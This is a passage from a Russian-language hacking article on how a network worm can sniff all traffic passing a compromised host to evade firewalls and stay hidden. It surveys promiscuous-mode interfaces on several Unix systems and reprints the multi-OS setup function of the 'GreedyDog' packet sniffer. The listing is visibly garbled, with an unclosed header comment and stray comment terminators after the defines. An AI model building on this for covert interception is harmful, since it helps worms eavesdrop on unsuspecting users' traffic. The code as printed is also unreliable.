Побег через брандмаузер

Sniffer exploit или пассивное сканирование


При желании червь может перехватывать весь трафик, проходящий через уязвимый узел, а не только тот, что адресован атакованному сервису. Такое пассивное прослушивание чрезвычайно трудно обнаружить и, из всех рассмотренных нами способов обхода брандмауэров, этот обеспечивает червю наивысшую скрытность.

По сети путешествует огромное количество снифферов для UNIX, в большинство своем распространяемых в исходных текстах и неплохо прокомментированных. Наиболее универсальный способ прослушивания трафика апеллирует к кросс-платформенной библиотеке libcap, портированной в том числе и под Windows95/98/ME/NT/2000/XP/CE (на сайте http://winpcap.polito.it/install/default.htm можно найти и сам порт библиотеки, и tcpdump для Windows – очень рекомендую). Если же на атакованном компьютере этой библиотеки нет (а червь не может позволить себе роскошь тащить ее за собой), мы будем действовать так: открываем сокет в сыром режиме, связываем его с прослушиваемым интерфейсом, переводим последний в "неразборчивый" (promiscuous) режим, в котором сокет будет получать все, проходящие мимо него пакеты, и… собственно, читаем их в свое удовольствие.

В различных операционных системах этот механизм реализуется по-разному. В LINUX начиная с версии 2.2 появились поддержка пакетных сокетов, предназначенных для взаимодействия с сетью на уровне драйверов и создаваемых вызовом socket (PF_PACKET, int type, int protocol), где type может принимать значения SOCK_RAW

("сырой" сокет) или SOCK_DGRAM ("сухой" сокет с удаленными служебными заголовками). Вызов ifr.ifr_flags |= IFF_PROMISC; ioctl (s, SIOCGIFFLAGS, ifr) активирует неразборчивый режим, где ifr – интерфейс, к которому сокет был привязан сразу после его создания (подробнее об этом можно прочитать в статье "анализатор сетевого трафика", опубликованной в октябрьском номере журнала "Системный Администратор" за 2002 год).

Под BSD можно открыть устройство "/dev/bpf" и после его перевода в неразборчивый режим – ioctl(fd, BIOCPROMISC, 0) – слушать пролетающий мимо узла трафик.
В Solaris' е все осуществляется аналогично, только IOCTL-коды немного другие и устройство называется не bpf, а hme. Аналогичным образом ведет себя и SUNOS, где для достижения желаемого результата приходится отрывать устройство nit.

Короче говоря, эта тема выжата досуха и никому уже не интересна. Замечательное руководство по программированию снифферов (правда, на французском языке) можно найти на http://www.security-labs.org/index.php3?page=135, а на http://packetstormsecurity.org/sniffers/

выложено множество разнообразных "грабителей" трафика в исходных текстах. Наконец, по адресам http://athena.vvsu.ru/infonets/Docs/sniffer.txt и http://cvalka.net/read.php?file=32&dir=programming

вас ждет пара толковых статей о снифферах на русском языке. Словом, на недостаток информации жаловаться не приходится. Правда, остается неявным – как примерить весь этот зоопарк и удержать в голове специфические особенности каждой из операционных систем?

Подавляющее большинство статей, с которыми мне приходилось встречаться, описывали лишь одну, ну максим две операционные системы, совершенно игнорируя существование остальных. Приходилось открывать несколько статей одновременно и попеременно мотаться между ними на предмет выяснения: а под LINUX это как? А под BSD? А под Solaris? От этого в голове образовывался такой кавардак, что от прочитанного материала не оставалась и следа, а компилируемый код содержал огромное количество фатальных ошибок, даже и не пытаясь компилироваться.

Чтобы не мучить читателя сводными таблицами (от которых больше вреда, чем пользы), ниже приводится вполне работоспособная функция абстракции, подготавливающая сокет (дескриптор устройства) к работе и поддерживающая большое количество различных операционных систем, так то: SUN OS, LUNUX, Free BSD, IRIX и Solaris. Полный исходный текст сниффера можно стащить отсюда: http://packetstormsecurity.org/sniffers/gdd13.c.

/*========================================================



  Ethernet Packet Sniffer 'GreedyDog' Version 1.30



  The Shadow Penguin Security (http://shadowpenguin.backsection.net)

  Written by UNYUN (unewn4th@usa.net)

#ifdef SUNOS4 /*--------< SUN OS4 >-----------*/

#define       NIT_DEV                    "/dev/nit"                               */

#define       DEFAULT_NIC          "le0"                                    */

#define       CHUNKSIZE            4096                                     */

#endif

#ifdef LINUX   /*--------< LINUX >-------------*/

#define       NIT_DEV                    ""

#define       DEFAULT_NIC          "eth0"                                   */

#define       CHUNKSIZE            32000                                    */

#endif

#ifdef FREEBSD /*--------< FreeBSD >-----------*/

#define       NIT_DEV                    "/dev/bpf"                               */

#define       DEFAULT_NIC          "ed0"                                    */

#define       CHUNKSIZE            32000                                     */

#endif

#ifdef IRIX /*-----------< IRIX >--------------*/

#define       NIT_DEV                    ""

#define       DEFAULT_NIC          ""

#define       CHUNKSIZE            60000                                    */

#define       ETHERHDRPAD          RAW_HDRPAD(sizeof(struct ether_header))

#endif

#ifdef SOLARIS /*--------< Solaris >-----------*/

#define       NIT_DEV                    "/dev/hme"                               */

#define       DEFAULT_NIC          ""

#define       CHUNKSIZE            32768                                    */

#endif

#define       S_DEBUG                                                              */

#define       SIZE_OF_ETHHDR             14                                       */

#define       LOGFILE                    "./snif.log"                             */

#define       TMPLOG_DIR           "/tmp/"                                         */



struct conn_list{

       struct conn_list     *next_p;

       char                 sourceIP[16],destIP[16];

       unsigned long        sourcePort,destPort;

};

struct conn_list *cl; struct conn_list *org_cl;

#ifdef SOLARIS

       int    strgetmsg(fd, ctlp, flagsp, caller)

       int    fd;

       struct strbuf  *ctlp;

       int    *flagsp;

       char   *caller;

       {

              int    rc;

              static char errmsg[80];

             

              *flagsp = 0;

              if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2);

              if (alarm(0)<0) return(-3);

              if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) return(-4);

              if (rc&MORECTL) return(-5);

              if (rc&MOREDATA) return(-6);

              if (ctlp->len<sizeof(long)) return(-7);

              return(0);

       }

#endif

int    setnic_promisc(nit_dev,nic_name)

char   *nit_dev;

char   *nic_name;

{

       int sock; struct ifreq f;

      

#ifdef SUNOS4

       struct strioctl si; struct timeval timeout;

       u_int chunksize = CHUNKSIZE; u_long if_flags = NI_PROMISC;

      

       if ((sock = open(nit_dev, O_RDONLY)) < 0)              return(-1);

       if (ioctl(sock, I_SRDOPT, (char *)RMSGD) < 0)   return(-2);

       si.ic_timout = INFTIM;

       if (ioctl(sock, I_PUSH, "nbuf") < 0)                   return(-3);

      

       timeout.tv_sec = 1; timeout.tv_usec = 0; si.ic_cmd = NIOCSTIME;

       si.ic_len = sizeof(timeout); si.ic_dp  = (char *)&timeout;

       if (ioctl(sock, I_STR, (char *)&si) < 0) return(-4);

      

       si.ic_cmd = NIOCSCHUNK; si.ic_len = sizeof(chunksize);

       si.ic_dp  = (char *)&chunksize;

       if (ioctl(sock, I_STR, (char *)&si) < 0)        return(-5);

      

       strncpy(f.ifr_name, nic_name, sizeof(f.ifr_name));

       f.ifr_name[sizeof(f.ifr_name) - 1] = '\0'; si.ic_cmd = NIOCBIND;



       si.ic_len = sizeof(f); si.ic_dp  = (char *)&f;

       if (ioctl(sock, I_STR, (char *)&si) < 0)        return(-6);

      

       si.ic_cmd = NIOCSFLAGS; si.ic_len = sizeof(if_flags);

       si.ic_dp  = (char *)&if_flags;

       if (ioctl(sock, I_STR, (char *)&si) < 0)      return(-7);

       if (ioctl(sock, I_FLUSH, (char *)FLUSHR) < 0) return(-8);

#endif

#ifdef LINUX

       if ((sock=socket(AF_INET,SOCK_PACKET,768))<0) return(-1);

       strcpy(f.ifr_name, nic_name);     if (ioctl(sock,SIOCGIFFLAGS,&f)<0) return(-2);

       f.ifr_flags |= IFF_PROMISC;       if (ioctl(sock,SIOCSIFFLAGS,&f)<0) return(-3);

#endif

#ifdef FREEBSD

       char device[12]; int n=0; struct bpf_version bv; unsigned int size;

      

       do{

              sprintf(device,"%s%d",nit_dev,n++); sock=open(device,O_RDONLY);

       } while(sock<0 && errno==EBUSY);

       if(ioctl(sock,BIOCVERSION,(char *)&bv)<0) return(-2);

       if((bv.bv_major!=BPF_MAJOR_VERSION)||(bv.bv_minor<BPF_MINOR_VERSION))return -3;

       strncpy(f.ifr_name,nic_name,sizeof(f.ifr_name));

       if(ioctl(sock,BIOCSETIF,(char *)&f)<0) return-4;

       ioctl(sock,BIOCPROMISC,NULL);if(ioctl(sock,BIOCGBLEN,(char *)&size)<0)return-5;

#endif

#ifdef IRIX

       struct sockaddr_raw sr; struct snoopfilter sf;

       int size=CHUNKSIZE,on=1; char *interface;

       if((sock=socket(PF_RAW,SOCK_RAW,RAWPROTO_SNOOP))<0) return -1;

       sr.sr_family = AF_RAW; sr.sr_port = 0;

       if (!(interface=(char *)getenv("interface")))

       memset(sr.sr_ifname,0,sizeof(sr.sr_ifname));

       else strncpy(sr.sr_ifname,interface,sizeof(sr.sr_ifname));

       if(bind(sock,&sr,sizeof(sr))<0) return(-2); memset((char *)&sf,0,sizeof(sf));

       if(ioctl(sock,SIOCADDSNOOP,&sf)<0) return(-3);

       setsockopt(sock,SOL_SOCKET,SO_RCVBUF,(char *)&size,sizeof(size));



       if(ioctl(sock,SIOCSNOOPING,&on)<0) return(-4);

#endif

#ifdef SOLARIS

       long buf[CHUNKSIZE]; dl_attach_req_t ar; dl_promiscon_req_t pr;

       struct strioctl si; union DL_primitives *dp; dl_bind_req_t bind_req;

       struct strbuf c; int flags;

      

       if ((sock=open(nit_dev,2))<0) return(-1);

      

       ar.dl_primitive=DL_ATTACH_REQ; ar.dl_ppa=0; c.maxlen=0;

       c.len=sizeof(dl_attach_req_t); c.buf=(char *)&ar;

       if (putmsg(sock,&c,NULL,0)<0) return(-2);

      

       c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

       strgetmsg(sock,&c,&flags,"dlokack"); dp=(union DL_primitives *)c.buf;

       if (dp->dl_primitive != DL_OK_ACK) return(-3);

      

       pr.dl_primitive=DL_PROMISCON_REQ; pr.dl_level=DL_PROMISC_PHYS; c.maxlen = 0;

       c.len=sizeof(dl_promiscon_req_t); c.buf=(char *)&pr;

       if (putmsg(sock,&c,NULL,0)<0) return(-4);

      

       c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

       strgetmsg(sock,&c,&flags,"dlokack"); dp=(union DL_primitives *)c.buf;

       if (dp->dl_primitive != DL_OK_ACK) return(-5);

      

       bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800;

       bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS;

       bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=0; c.maxlen=0;

       c.len=sizeof(dl_bind_req_t); c.buf=(char *)&bind_req;

       if (putmsg(sock,&c,NULL,0)<0) return(-6);

      

       c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf;

       strgetmsg(sock,&c,&flags,"dlbindack"); dp=(union DL_primitives *)c.buf;

       if (dp->dl_primitive != DL_BIND_ACK) return(-7);

      

       si.ic_cmd=DLIOCRAW; si.ic_timout=-1; si.ic_len=0; si.ic_dp=NULL;

       if (ioctl(sock, I_STR, &si)<0) return(-8);

       if (ioctl(sock,I_FLUSH,FLUSHR)<0) return(-9);

#endif

       return(sock);

}


Содержание раздела